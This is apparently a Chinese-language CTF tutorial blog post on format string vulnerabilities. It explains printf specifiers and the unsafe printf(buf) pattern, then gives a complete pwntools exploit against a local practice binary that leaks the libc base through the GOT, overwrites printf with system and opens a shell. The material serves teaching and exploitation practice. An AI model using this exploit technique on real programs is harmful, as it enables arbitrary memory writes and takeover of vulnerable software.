前言:本篇介绍格式化字符串漏洞,搭配简单小题>_<
0x01 什么是格式化字符串
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。
几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。
举个例子:printf的原型是:
int printf(const char *format, ...);
第一个参数是格式串,里面 % 开头的部分叫格式说明符(占位符),它们会去后面的可变参数里取对应的值来填充:
printf("name: %s, age: %d\n", "cx330", 20);
// ↑ 格式串 ↑ 变参
格式化说明符
- %d / %u 十进制整数
- %x 十六进制整数
- %p 指针(十六进制) 同 %x,但空指针输出 (nil)
- %s 字符串 把参数当作指针,解引用后打印
- %c 单个字符
格式化字符串函数

printf("%p",a)
//rsi:%p%s%d%d%d%d
//rsi:第1个参数
//rdx:第2个参数
//rcx:第3个参数
//r8: 第4个参数
//r9: 第5个参数
//栈: 第6个参数
%s,输出字符,将对应参数看作一个字符串指针,输出其所指向地址的内容。
因此,当你在题目中看到格式化字符串函数,就可以格外关注一下。
printf("%s", buf); //正确:buf 是数据,只当数据打印
printf(buf); //危险:buf 成了格式串,里面的 % 会被解析!
0x02 格式化字符串攻击
攻击原理很简单:程序把数据当成了代码来解析:printf 的格式串本该是常量,现在成了攻击者的输入;%s/%n ,会把参数槽里的值当指针用——于是打印的数字变成了内存的地址,输出的字符数变成了写入内存的值。
任意读
我们只需要把地址放进buf,再利用%N$p就可以实现任意地址读。
举个例子:
利用%p枚举法,发送几个A,再随意发送几个%p。

可以看到,第7个槽打出了0x41414141,也就是我们的AAAA,这说明buf[0]落在第7个参数槽(offset = 7)。

任意写
fmtstr_payload是pwntools提供的一个格式化字符串利用 payload 生成器,我们通常利用他来实现任意地址写。
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- offset : 格式串从第几个参数槽开始。
- writes : 可写目标地址: 要写入的值。
- numbwritten : 已经输出(写出去)的字符数。
- write_size : byte最稳。
0x03 格式化字符串实战
IDA分析构思整体思路
在IDA里可以看到,BUF缓冲区大小是256字节,但是read最多只读入100字节,没法覆盖返回地址,自然不能栈溢出。

而且这道题还开了canary保护,就算能溢出,canary也会检测栈破坏,阻止攻击。

但是它直接把buf拿去print,存在格式化字符串漏洞。我们可以往buf里输入格式化符号,利用printf读取栈上内容。
另外能看到代码里有while无限循环,代表我们有无数次利用机会。每一轮都可以执行一次read加上printf,凑三轮操作就能完成整套攻击:libc泄露、任意地址写、触发漏洞拿shell,目标非常明确。
while ( strcmp(buf, "byebye") ) { read(...); printf(buf); }
泄露Libc
先利用格式化字符串将read的地址打印出来,接收,然后减掉偏移即可。

求offset的方法在上文中已经提到,这里就不再赘述。
需要注意的是,在接受时,我们需要先接受4字节,这4字节是为了吃掉printf原样回显的4字节 got地址,然后接收到的才是我们想要的地址。
这样,就可以得到libc基址。

任意地址写
直接用fmtstr_payload将printf函数改成system即可。

这样,在新一轮循环时,我们发送/bin/sh即可拿到shell。
完整exp
from pwn import *
elf = ELF("./demo")
libc = ELF("/lib32/libc.so.6")
context(arch = elf.arch, os = elf.os, log_level = 'debug')
p = process([elf.path])
# p.send(b'AAAA' + b'.%p' * 12)
payload = flat([
p32(elf.got['read']),
b"%7$s"
])
p.send(payload)
p.recv(4)
libc.address = u32(p.recv(4)) - libc.sym["read"]
print("libc base: " + hex(libc.address))
payload = fmtstr_payload(7, {elf.got["printf"] : libc.sym["system"]})
p.send(payload)
p.send(b"/bin/sh\x00")
p.interactive()
将以上片段拼凑一下就能够得到完整的 exp。
写到这里,就能成功获取程序的交互式shell啦!
小结
格式化字符串漏洞,先泄露Libc,再任意地址写,获取shell。
评论(0)
暂无评论